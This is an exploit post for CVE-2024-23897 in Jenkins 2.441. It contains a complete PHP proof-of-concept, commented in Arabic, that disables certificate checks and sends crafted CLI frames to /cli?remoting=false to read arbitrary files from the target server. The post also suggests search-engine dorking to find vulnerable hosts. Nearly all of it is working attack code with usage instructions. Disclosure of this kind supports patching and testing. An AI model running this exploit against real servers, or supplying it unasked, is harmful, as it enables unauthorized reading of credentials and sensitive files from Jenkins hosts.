📄 Jenkins 2.441 Arbitrary File Read

=============================================================================================================================================
    | # Title     : Jenkins 2.441 read files Vulnerability                                                                                      |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 136.0.0 (64 bits)                                                            |
    | # Vendor    : https://www.jenkins.io/changelog/2.441/                                                                                     |
    =============================================================================================================================================
    
    POC :
    
    [+] Dorking İn Google Or Other Search Enggine.
    
    [+] Code Description: read files in Jenkins
    
       (Related : https://packetstorm.news/files/id/188696/ Related CVE numbers: CVE-2024-23897 ) .
    	
    [+] save code as poc.php.
    
    [+] Usage: php script.php -u <Jenkins URL> -f <file path> [-p <proxy>]
    
    [+] PayLoad :
    
    
    <?php
    
    // تعطيل تحذيرات SSL للشهادات الذاتية التوقيع
    stream_context_set_default([
        'ssl' => [
            'verify_peer' => false,
            'verify_peer_name' => false,
        ]
    ]);
    
    // تعريف الثوابت للألوان في الإخراج
    const RED = "\033[91m";
    const GREEN = "\033[92m";
    const YELLOW = "\033[93m";
    const ENDC = "\033[0m";
    const ENCODING = "UTF-8";
    
    // دالة لإنشاء بيانات الطلب لجينكينز
    function jenkins_arg($string, $operation) {
        $out_bytes = "\x00\x00";
        $out_bytes .= pack("n", strlen($string) + 2);
        $out_bytes .= chr($operation);
        $out_bytes .= pack("n", strlen($string));
        $out_bytes .= $string;
        return $out_bytes;
    }
    
    // دالة لإرسال طلب تحميل الملف
    function send_upload_request($url, $uuid_str, $file_path, $useragent, $proxy) {
        usleep(300000);
    
        $data = jenkins_arg("connect-node", 0) . jenkins_arg("@" . $file_path, 0) . jenkins_arg(ENCODING, 2) . jenkins_arg("en", 1) . jenkins_arg("", 3);
        
        $opts = [
            'http' => [
                'method' => 'POST',
                'header' => [
                    "User-Agent: $useragent",
                    "Session: $uuid_str",
                    "Side: upload",
                    "Content-type: application/octet-stream"
                ],
                'content' => $data,
                'timeout' => 3
            ]
        ];
        if ($proxy) {
            $opts['http']['proxy'] = $proxy;
            $opts['http']['request_fulluri'] = true;
        }
    
        $context = stream_context_create($opts);
        @file_get_contents($url . "/cli?remoting=false", false, $context);
    }
    
    // دالة لإرسال طلب تنزيل الملف
    function send_download_request($url, $uuid_str, $useragent, $proxy) {
        $opts = [
            'http' => [
                'method' => 'POST',
                'header' => [
                    "User-Agent: $useragent",
                    "Session: $uuid_str",
                    "Side: download"
                ],
                'timeout' => 3
            ]
        ];
        if ($proxy) {
            $opts['http']['proxy'] = $proxy;
            $opts['http']['request_fulluri'] = true;
        }
    
        $context = stream_context_create($opts);
        $response = @file_get_contents($url . "/cli?remoting=false", false, $context);
    
        if (strpos($response, "No such file:") !== false) {
            echo "File does not exist\n";
            return false;
        }
        if (strpos($response, "No such agent") !== false) {
            preg_match_all('/No such agent \"(.*?)\"/', $response, $matches);
            return isset($matches[1]) ? implode("\n", $matches[1]) : "";
        }
    
        return trim(str_replace("\x00", "\n", $response));
    }
    
    // دالة لقراءة الملف عبر Jenkins
    function read_file($url, $file_path, $useragent, $proxy) {
        $uuid_str = uniqid();
        
        send_upload_request($url, $uuid_str, $file_path, $useragent, $proxy);
        
        $file_contents = send_download_request($url, $uuid_str, $useragent, $proxy);
        if ($file_contents) {
            echo $file_contents . "\n";
        } else {
            echo "<empty>\n";
        }
    }
    
    // تنفيذ الكود
    $options = getopt("u:f:p:", ["url:", "file:", "proxy:"]);
    $url = $options['u'] ?? $options['url'] ?? '';
    $file = $options['f'] ?? $options['file'] ?? '';
    $proxy = $options['p'] ?? $options['proxy'] ?? '';
    $useragent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36";
    
    if (!$url || !$file) {
        exit("Usage: php script.php -u <Jenkins URL> -f <file path> [-p <proxy>]\n");
    }
    
    read_file($url, $file, $useragent, $proxy);
    
    
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================